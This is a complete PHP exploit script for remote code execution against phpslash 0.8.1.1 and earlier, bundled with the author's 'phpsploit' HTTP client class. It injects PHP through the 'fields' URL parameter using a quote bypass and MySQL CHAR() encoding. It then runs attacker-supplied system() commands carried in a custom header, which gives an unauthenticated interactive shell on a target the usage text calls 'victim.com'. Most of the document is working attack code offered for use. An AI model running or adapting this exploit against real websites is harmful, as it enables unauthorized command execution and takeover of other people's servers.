slash php,phpslash <= 0.8.1.1 Remote Code Execution Exploit

#!/usr/bin/php -q

<?php

#

# phpslash <= 0.8.1.1 Remote Code Execution Exploit

# - - - - - - - - - - - - - - - - - - - - - - - - -

# RCE with no special rights (guest).

# No special PHP conditions required.

# - - - - - - - - - - - - - - - - - - - - - - - - -

# #0 It was a private sploit, but I decided to publish

# it #1 You did the fag on that one bro, it will not happen

# again =). #2 Don't try to use it on hzv, I helped them

# to patch this one before I publish it =)

# - - - - - - - - - - - - - - - - - - - - - - - - -

# Exploitation steps:

# 1 - include/class/tz_functions.inc tz_strftime()

# 2 - include/class/tz_functions.inc tz_generic()

# 3 - include/tz_env.class generic()

#

error_reporting( E_ALL ^ E_NOTICE );

// Main function

function main()

{

// :)

$web = new phpsploit();

$web->agent( 'Mozilla Firefox' );

// Hey ya :)

head();

// Target

$url = get_p( 'url', true );

// Proxy options

$prh = get_p( 'proxhost' );

$pra = get_p( 'proxauth' );

// Use a proxy ?

if( $prh )

{

// host:ip

$web->proxy( $prh );

// Authentication

if( $pra )

$web->proxyauth( $pra );

}

// Single quote bypass

$byp = "1');";

// PHP code

$php = 'eval(base64_decode($_SERVER[HTTP_MYPCODE]));';

// Separator

$s_sep = md5( rand( 0, 1000000000 ) . 'HEY_YA' );

$c_sep = "print('$s_sep');";

// Final PHP code

$final = $byp . $c_sep . $php . $c_sep . 'exit();//';

// Welcome guess !

while( ($cmd = cmd_prompt()) !== false )

{

// magic_quotes_gpc bypass

$web->addheader( 'MypCode', base64_encode( 'system("' . add_slashes($cmd) . '");' ) );

// Go =]

$web->get( $url . 'index.php?fields=' . to_char( $final ) . ',1' );

// Result

$res = explode( $s_sep, $web->getcontent() );

// Erf

if( !isset( $res[1] ) )

{

print "\nFailed";

exit(1);

}

// Cool

else

{

if( empty( $res[1] ) )

print "\nNo output: system() disabled OR cmd failed OR cmd without output";

else

print "\n" . $res[1];

}

}

return;

}

// No more bug with " and $

function add_slashes( $str )

{

return str_replace( '$', '\\$', addslashes( $str ) );

}

// Command prompt

function cmd_prompt()

{

print "\nshell>";

$cmd = trim( fgets( STDIN ) );

// Wanna stop =( ?

if( in_array( strtolower( $cmd ) , array( 'exit', 'quit' ) ) )

return false;

else

return $cmd;

}

// MySQL CHAR() encoding

function to_char( $data )

{

$chars = 'CHAR(';

$len = strlen( $data );

for( $i = 0; $i < $len; $i++ )

{

$chars .= ord( $data[ $i ] );

if( $i != $len-1 )

$chars .= ',';

}

return $chars . ')';

}

// CLI params

function get_p( $p, $exit = false )

{

foreach( $_SERVER['argv'] as $key => $value )

{

if( $value === '-' . $p )

{

if( isset( $_SERVER['argv'][ $key+1 ] ) &&

!empty( $_SERVER['argv'][ $key+1 ] ) )

{

return $_SERVER['argv'][ $key+1 ];

}

else

{

if( $exit )

usage();

return true;

}

}

}

if( $exit )

usage();

return false;

}

// Headers =)

function head()

{

print "\nphpslash <= 0.8.1.1 Remote Code Execution Exploit\n";

print "-------------------------------------------------\n\n";

print " About: \n";

print " by DarkFig < gmdarkfig (at) gmail (dot) com >\n";

print " http://acid-root.new.fr/\n";

print " #acidroot@irc.worldnet.net\n\n";

return;

}

// Usage, can help..

function usage()

{

print " Usage:\n";

print " php spl.php -url <website> [options]\n\n";

print " Example:\n";

print " php spl.php -url http://victim.com/\n\n";

print " Options:\n";

print " -proxhost <ip:port> if you wanna use a proxy\n";

print " -proxauth <usr:pwd> proxy with authentication\n";

exit(0);

}

// Run baby

main();

/*

*

* Copyright (C) darkfig

*

* This program is free software; you can redistribute it and/or

* modify it under the terms of the GNU General Public License

* as published by the Free Software Foundation; either version 2

* of the License, or (at your option) any later version.

*

* This program is distributed in the hope that it will be useful,

* but WITHOUT ANY WARRANTY; without even the implied warranty of

* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

* GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License

* along with this program; if not, write to the Free Software

* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

*

* TITLE: PhpSploit Class

* REQUIREMENTS: PHP 4 / PHP 5

* VERSION: 2.1

* LICENSE: GNU General Public License

* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt

* FILENAME: phpsploitclass.php

*

* CONTACT: gmdarkfig@gmail.com (french / english)

* GREETZ: Sparah, Ddx39

*

* DESCRIPTION:

* The phpsploit is a class implementing a web user agent.

* You can add cookies, headers, use a proxy server with (or without) a

* basic authentification. It supports the GET and the POST method. It can

* also be used like a browser with the cookiejar() function (which allow

* a server to add several cookies for the next requests) and the

* allowredirection() function (which allow the script to follow all

* redirections sent by the server). It can return the content (or the

* headers) of the request. Others useful functions can be used for debugging.

* A manual is actually in development but to know how to use it, you can

* read the comments.

*

* CHANGELOG:

*

* [2008-08-29] (2.1)

* * New: The showheader()/showcookie() functions can now return an array

* * Bug #3 fixed: Problem concerning some servers for the main function

*

* [2007-06-10] (2.0)

* * Code: Code optimization

* * New: Compatible with PHP 4 by default

*

* [2007-01-24] (1.2)

* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))

* * New: multipart/form-data enctype is now supported

*

* [2006-12-31] (1.1)

* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)

* * New: You can now call the getheader() / getcontent() function without parameters

*

* [2006-12-30] (1.0)

* * First version

*

*/

class phpsploit

{

var $proxyhost;

var $proxyport;

var $host;

var $path;

var $port;

var $method;

var $url;

var $packet;

var $proxyuser;

var $proxypass;

var $header;

var $cookie;

var $data;

var $boundary;

var $allowredirection;

var $last_redirection;

var $cookiejar;

var $recv;

var $cookie_str;

var $header_str;

var $server_content;

var $server_header;

/**

* This function is called by the

* get()/post()/formdata() functions.

* You don't have to call it, this is

* the main function.

*

* @access private

* @return string $this->recv ServerResponse

*

*/

function sock()

{

if(!empty($this->proxyhost) && !empty($this->proxyport))

$socket = @fsockopen($this->proxyhost,$this->proxyport);

else

$socket = @fsockopen($this->host,$this->port);

if(!$socket)

die("Error: Host seems down");

if($this->method=='get')

$this->packet = 'GET '.$this->url." HTTP/1.1\r\n";

elseif($this->method=='post' or $this->method=='formdata')

$this->packet = 'POST '.$this->url." HTTP/1.1\r\n";

else

die("Error: Invalid method");

if(!empty($this->proxyuser))

$this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";

if(!empty($this->header))

$this->packet .= $this->showheader();

if(!empty($this->cookie))

$this->packet .= 'Cookie: '.$this->showcookie()."\r\n";

$this->packet .= 'Host: '.$this->host."\r\n";

$this->packet .= "Connection: Close\r\n";

if($this->method=='post')

{

$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";

$this->packet .= $this->data."\r\n";

}

elseif($this->method=='formdata')

{

$this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";

$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";

$this->packet .= $this->data;

}

$this->packet .= "\r\n";

$this->recv = '';

fputs($socket, $this->packet);

while(!feof($socket))

$this->recv .= fgets($socket);

fclose($socket);

if($this->cookiejar)

$this->getcookie();

if($this->allowredirection)

return $this->getredirection();

else

return $this->recv;

}

/**

* This function allows you to add several

* cookies in the request.

*

* @access public

* @param string cookn CookieName

* @param string cookv CookieValue

* @example $this->addcookie('name','value')

*

*/

function addcookie($cookn,$cookv)

{

if(!isset($this->cookie))

$this->cookie = array();

$this->cookie[$cookn] = $cookv;

}

/**

* This function allows you to add several

* headers in the request.

*

* @access public

* @param string headern HeaderName

* @param string headervalue Headervalue

* @example $this->addheader('Client-IP', '128.5.2.3')

*

*/

function addheader($headern,$headervalue)

{

if(!isset($this->header))

$this->header = array();

$this->header[$headern] = $headervalue;

}

/**

* This function allows you to use an

* http proxy server. Several methods

* are supported.

*

* @access public

* @param string proxy ProxyHost

* @param integer proxyp ProxyPort

* @example $this->proxy('localhost',8118)

* @example $this->proxy('localhost:8118')

*

*/

function proxy($proxy,$proxyp='')

{

if(empty($proxyp))

{

$proxarr = explode(':',$proxy);

$this->proxyhost = $proxarr[0];

$this->proxyport = (int)$proxarr[1];

}

else

{

$this->proxyhost = $proxy;

$this->proxyport = (int)$proxyp;

}

if($this->proxyport > 65535)

die("Error: Invalid port number");

}

/**

* This function allows you to use an

* http proxy server which requires a

* basic authentification. Several

* methods are supported:

*

* @access public

* @param string proxyauth ProxyUser

* @param string proxypass ProxyPass

* @example $this->proxyauth('user','pwd')

* @example $this->proxyauth('user:pwd');

*

*/

function proxyauth($proxyauth,$proxypass='')

{

if(empty($proxypass))

{

$posvirg = strpos($proxyauth,':');

$this->proxyuser = substr($proxyauth,0,$posvirg);

$this->proxypass = substr($proxyauth,$posvirg+1);

}

else

{

$this->proxyuser = $proxyauth;

$this->proxypass = $proxypass;

}

}

/**

* This function allows you to set

* the 'User-Agent' header.

*

* @access public

* @param string useragent Agent

* @example $this->agent('Firefox')

*

*/

function agent($useragent)

{

$this->addheader('User-Agent',$useragent);

}

/**

* This function returns the headers

* which will be in the next request.

*

* @access public

* @return string $this->header_str Headers

* @return array $this->head Headers

* @example $this->showheader()

* @example $this->showheader(1)

*

*/

function showheader($array='')

{

$this->header_str = '';

if(!isset($this->header))

return;

if(!empty($array))

return $this->header;

foreach($this->header as $name => $value)

$this->header_str .= $name.': '.$value."\r\n";

return $this->header_str;

}

/**

* This function returns the cookies

* which will be in the next request.

*

* @access public

* @return string $this->cookie_str Cookies

* @return array $this->cookie Cookies

* @example $this->showcookie()

* @example $this->showcookie(1)

*

*/

function showcookie($array='')

{

if(!isset($this->cookie))

return;

if(!empty($array))

return $this->cookie;

$this->cookie_str = '';

foreach($this->cookie as $name => $value)

$this->cookie_str .= $name.'='.$value.'; ';

return $this->cookie_str;

}

/**

* This function returns the last

* formed http request.

*

* @access public

* @return string $this->packet HttpPacket

* @example $this->showlastrequest()

*

*/

function showlastrequest()

{

if(!isset($this->packet))

return;

else

return $this->packet;

}

/**

* This function sends the formed

* http packet with the GET method.

*

* @access public

* @param string url Url

* @return string $this->sock()

* @example $this->get('localhost/index.php?var=x')

* @example $this->get('http://localhost:88/tst.php')

*

*/

function get($url)

{

$this->target($url);

$this->method = 'get';

return $this->sock();

}

/**

* This function sends the formed

* http packet with the POST method.

*

* @access public

* @param string url Url

* @param string data PostData

* @return string $this->sock()

* @example $this->post('http://localhost/','helo=x')

*

*/

function post($url,$data)

{

$this->target($url);

$this->method = 'post';

$this->data = $data;

return $this->sock();

}

/**

* This function sends the formed http

* packet with the POST method using

* the multipart/form-data enctype.

*

* @access public

* @param array array FormDataArray

* @return string $this->sock()

* @example $formdata = array(

* frmdt_url => 'http://localhost/upload.php',

* frmdt_boundary => '123456', # Optional

* 'var' => 'example',

* 'file' => array(

* frmdt_type => 'image/gif', # Optional

* frmdt_transfert => 'binary' # Optional

* frmdt_filename => 'hello.php,

* frmdt_content => '<?php echo 1; ?>'));

* $this->formdata($formdata);

*

*/

function formdata($array)

{

$this->target($array[frmdt_url]);

$this->method = 'formdata';

$this->data = '';

if(!isset($array[frmdt_boundary]))

$this->boundary = 'phpsploit';

else

$this->boundary = $array[frmdt_boundary];

foreach($array as $key => $value)

{

if(!preg_match('#^frmdt_(boundary|url)#',$key))

{

$this->data .= str_repeat('-',29).$this->boundary."\r\n";

$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';

if(!is_array($value))

{

$this->data .= "\r\n\r\n".$value."\r\n";

}

else

{

$this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";

if(isset($array[$key][frmdt_type]))

$this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";

if(isset($array[$key][frmdt_transfert]))

$this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";

$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";

}

}

}

$this->data .= str_repeat('-',29).$this->boundary."--\r\n";

return $this->sock();

}

/**

* This function returns the content

* of the server response, without

* the headers.

*

* @access public

* @param string code ServerResponse

* @return string $this->server_content

* @example $this->getcontent()

* @example $this->getcontent($this->get('http://localhost/'))

*

*/

function getcontent($code='')

{

if(empty($code))

$code = $this->recv;

$code = explode("\r\n\r\n",$code);

$this->server_content = '';

for($i=1;$i<count($code);$i++)

$this->server_content .= $code[$i];

return $this->server_content;

}

/**

* This function returns the headers

* of the server response, without

* the content.

*

* @access public

* @param string code ServerResponse

* @return string $this->server_header

* @example $this->getcontent()

* @example $this->getcontent($this->post('http://localhost/','1=2'))

*

*/

function getheader($code='')

{

if(empty($code))

$code = $this->recv;

$code = explode("\r\n\r\n",$code);

$this->server_header = $code[0];

return $this->server_header;

}

/**

* This function is called by the

* cookiejar() function. It adds the

* value of the "Set-Cookie" header

* in the "Cookie" header for the

* next request. You don't have to

* call it.

*

* @access private

* @param string code ServerResponse

*

*/

function getcookie()

{

foreach(explode("\r\n",$this->getheader()) as $header)

{

if(preg_match('/set-cookie/i',$header))

{

$fequal = strpos($header,'=');

$fvirgu = strpos($header,';');

// 12=strlen('set-cookie: ')

$cname = substr($header,12,$fequal-12);

$cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));

$this->cookie[trim($cname)] = trim($cvalu);

}

}

}

/**

* This function is called by the

* get()/post() functions. You

* don't have to call it.

*

* @access private

* @param string urltarg Url

* @example $this->target('http://localhost/')

*

*/

function target($urltarg)

{

if(!ereg('^http://',$urltarg))

$urltarg = 'http://'.$urltarg;

$urlarr = parse_url($urltarg);

if(!isset($urlarr['path']) || empty($urlarr['path']))

die("Error: No path precised");

$this->url = $urlarr['path'];

if(isset($urlarr['query']))

$this->url .= '?'.$urlarr['query'];

$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;

$this->host = $urlarr['host'];

if($this->port != '80')

$this->host .= ':'.$this->port;

$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

if($this->port > 65535)

die("Error: Invalid port number");

}

/**

* If you call this function,

* the script will extract all

* 'Set-Cookie' headers values

* and it will automatically add

* them into the 'Cookie' header

* for all next requests.

*

* @access public

* @param integer code 1(enabled) 0(disabled)

* @example $this->cookiejar(0)

* @example $this->cookiejar(1)

*

*/

function cookiejar($code)

{

if($code=='0')

$this->cookiejar=FALSE;

elseif($code=='1')

$this->cookiejar=TRUE;

}

/**

* If you call this function,

* the script will follow all

* redirections sent by the server.

*

* @access public

* @param integer code 1(enabled) 0(disabled)

* @example $this->allowredirection(0)

* @example $this->allowredirection(1)

*

*/

function allowredirection($code)

{

if($code=='0')

$this->allowredirection=FALSE;

elseif($code=='1')

$this->allowredirection=TRUE;

}

/**

* This function is called if

* allowredirection() is enabled.

* You don't have to call it.

*

* @access private

* @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)

* @return string $this->get($this->last_redirection)

* @return string $this->recv;

*

*/

function getredirection()

{

if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))

{

$this->last_redirection = trim($codearr[2]);

if(!ereg('://',$this->last_redirection))

return $this->get('http://'.$this->host.$this->path.$this->last_redirection);

else

return $this->get($this->last_redirection);

}

else

return $this->recv;

}

/**

* This function allows you

* to reset some parameters.

*

* @access public

* @param string func Param

* @example $this->reset('header')

* @example $this->reset('cookie')

* @example $this->reset()

*

*/

function reset($func='')

{

switch($func)

{

case 'header':

$this->header = array();

break;

case 'cookie':

$this->cookie = array();

break;

default:

$this->cookiejar = '';

$this->header = array();

$this->cookie = array();

$this->allowredirection = '';

break;

}

}

}

?>